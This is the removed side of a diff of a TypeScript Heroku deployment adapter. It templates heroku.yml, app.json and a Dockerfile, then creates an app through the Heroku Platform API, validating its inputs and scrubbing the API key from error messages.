-  readonly target: TargetShape;
-  readonly dockerfilePath?: string;
-};
-
-/**
- * Heroku.yml is YAML but small + deterministic enough to template
- * inline. Three top-level sections: build, run, release (release omitted
- * for now — no DB migrations in the shipped scope).
- */
-export function herokuYmlFor(opts: HerokuYmlOptions): string {
-  if (!isTargetShape(opts.target)) {
-    throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
-  }
-  assertHerokuTarget(opts.target);
-  const dockerfilePath = opts.dockerfilePath ?? "Dockerfile.heroku";
-  assertNoInjection("dockerfilePath", dockerfilePath);
-  const processName = PROCESS_FOR_TARGET[opts.target];
-  const lines = [
-    "# Generated by @crewhaus/cloud-adapter-heroku — do not edit by hand",
-    "build:",
-    "  docker:",
-    `    ${processName}: ${dockerfilePath}`,
-    "run:",
-    `  ${processName}: bun run start`,
-  ];
-  return `${lines.join("\n")}\n`;
-}
-
-export type AppJsonOptions = {
-  readonly target: TargetShape;
-  readonly name: string;
-  readonly description?: string;
-  readonly envVars?: Readonly<Record<string, { value?: string; required?: boolean }>>;
-  readonly dynoSize?: HerokuDynoSize;
-  readonly quantity?: number;
-};
-
-/**
- * `app.json` Heroku Setup manifest. Deterministic key order, sorted
- * env-var keys.
- */
-export function appJsonFor(opts: AppJsonOptions): string {
-  if (!isTargetShape(opts.target)) {
-    throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
-  }
-  assertHerokuTarget(opts.target);
-  assertAppName(opts.name);
-  const processName = PROCESS_FOR_TARGET[opts.target];
-  const formation = {
-    [processName]: {
-      quantity: opts.quantity ?? 1,
-      size: opts.dynoSize ?? "basic",
-    },
-  };
-  const env: Record<string, { value?: string; required?: boolean }> = {};
-  if (opts.envVars) {
-    for (const key of Object.keys(opts.envVars).sort()) {
-      const value = opts.envVars[key];
-      if (value === undefined) continue;
-      env[key] = value;
-    }
-  }
-  const manifest: Record<string, unknown> = {
-    name: opts.name,
-    stack: "container",
-    formation,
-  };
-  if (opts.description !== undefined) {
-    manifest["description"] = opts.description;
-  }
-  if (Object.keys(env).length > 0) {
-    manifest["env"] = env;
-  }
-  return `${JSON.stringify(manifest, null, 2)}\n`;
-}
-
-export type HerokuDockerfileOptions = {
-  readonly target: TargetShape;
-  readonly baseImage: string;
-};
-
-export function herokuDockerfileFor(opts: HerokuDockerfileOptions): string {
-  if (!isTargetShape(opts.target)) {
-    throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
-  }
-  assertHerokuTarget(opts.target);
-  assertNoInjection("baseImage", opts.baseImage);
-  // Heroku injects $PORT at runtime; container must bind to it. No EXPOSE.
-  const lines = [
-    `# Heroku-tuned wrapper around ${opts.baseImage}`,
-    `FROM ${opts.baseImage}`,
-    "ENV PORT=${PORT:-8080}",
-  ];
-  return `${lines.join("\n")}\n`;
-}
-
-export type HerokuDeployRecord = {
-  readonly appId: string;
-  readonly appName: string;
-  readonly webUrl: string;
-};
-
-export type DeployToHerokuOptions = {
-  readonly appName: string;
-  readonly region?: "us" | "eu";
-  readonly apiKey?: string;
-  readonly apiBaseUrl?: string;
-  readonly fetchImpl?: typeof fetch;
-};
-
-export const HEROKU_DEFAULT_API_BASE = "https://api.heroku.com";
-
-function resolveApiKey(provided: string | undefined): string {
-  const key = provided ?? process.env["HEROKU_API_KEY"];
-  if (key === undefined || key.length === 0) {
-    throw new HerokuAdapterError(
-      "HEROKU_API_KEY is required. Pass `apiKey` explicitly or set the env var.",
-    );
-  }
-  return key;
-}
-
-export function scrubApiKey(message: string, apiKey: string | undefined): string {
-  if (apiKey === undefined || apiKey.length < 8) return message;
-  return message.split(apiKey).join("[REDACTED:HEROKU_API_KEY]");
-}
-
-/**
- * Create an app via Heroku Platform API. Stack is pinned to `container`
- * so the heroku.yml + Dockerfile build path is used. All errors run
- * through `scrubApiKey()`.
- */
-export async function deployToHeroku(opts: DeployToHerokuOptions): Promise<HerokuDeployRecord> {
-  assertAppName(opts.appName);
-  const apiKey = resolveApiKey(opts.apiKey);
-  const baseUrl = opts.apiBaseUrl ?? HEROKU_DEFAULT_API_BASE;
-  const fetchFn = opts.fetchImpl ?? fetch;
-  const region = opts.region ?? "us";
-
-  let response: Response;
-  try {
-    response = await fetchFn(`${baseUrl}/apps`, {
-      method: "POST",
-      headers: {
-        Authorization: `Bearer ${apiKey}`,
-        Accept: "application/vnd.heroku+json; version=3",
-        "Content-Type": "application/json",
-      },
-      body: JSON.stringify({ name: opts.appName, stack: "container", region }),
-    });
-  } catch (err) {
-    const msg = err instanceof Error ? err.message : String(err);
-    throw new HerokuAdapterError(
-      `Heroku Platform API request failed: ${scrubApiKey(msg, apiKey)}`,
-      err,
-    );
-  }
-  const text = await response.text();
-  const scrubbed = scrubApiKey(text, apiKey);
-  if (!response.ok) {
-    throw new HerokuAdapterError(
-      `Heroku Platform API returned ${response.status} ${response.statusText}: ${scrubbed}`,
-    );
-  }
-  let parsed: { id?: string; name?: string; web_url?: string };
-  try {
-    parsed = JSON.parse(text);
-  } catch (err) {
-    throw new HerokuAdapterError(`Heroku Platform API returned non-JSON body: ${scrubbed}`, err);
-  }
-  if (typeof parsed.id !== "string" || typeof parsed.name !== "string") {
-    throw new HerokuAdapterError(`Heroku Platform API response missing id/name: ${scrubbed}`);
-  }
-  return {
-    appId: parsed.id,
-    appName: parsed.name,
-    webUrl: parsed.web_url ?? `https://${parsed.name}.herokuapp.com/`,
-  };
-}